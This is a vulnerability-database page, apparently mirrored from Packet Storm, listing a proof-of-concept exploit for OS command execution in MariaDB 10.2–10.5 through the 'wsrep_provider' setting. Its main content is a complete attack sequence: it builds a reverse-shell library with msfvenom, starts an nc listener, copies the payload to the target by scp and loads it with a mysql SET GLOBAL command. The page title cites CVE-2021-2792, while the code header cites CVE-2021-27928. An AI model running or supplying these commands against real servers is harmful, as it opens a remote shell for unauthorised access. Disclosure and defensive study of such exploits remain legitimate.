Lucene search
K

MariaDB 10.2 Command Execution

🗓️ 14 Apr 2021 00:00:00Reported by Central InfosecType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 895 Views

MariaDB 10.2 Command Execution CVE-2021-2792

Related
Code
`# Exploit Title: MariaDB 10.2 /MySQL - 'wsrep_provider' OS Command Execution  
# Date: 03/18/2021  
# Exploit Author: Central InfoSec  
# Version: MariaDB 10.2 before 10.2.37, 10.3 before 10.3.28, 10.4 before 10.4.18, and 10.5 before 10.5.9; Percona Server through 2021-03-03; and the wsrep patch through 2021-03-03 for MySQL  
# Tested on: Linux  
# CVE : CVE-2021-27928  
  
# Proof of Concept:  
  
# Create the reverse shell payload  
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f elf-so -o CVE-2021-27928.so  
  
# Start a listener  
nc -lvp <port>  
  
# Copy the payload to the target machine (In this example, SCP/SSH is used)  
scp CVE-2021-27928.so <user>@<ip>:/tmp/CVE-2021-27928.so  
  
# Execute the payload  
mysql -u <user> -p -h <ip> -e 'SET GLOBAL wsrep_provider="/tmp/CVE-2021-27928.so";'  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Apr 2021 00:00Current
0.6Low risk
Vulners AI Score0.6
EPSS0.48947
895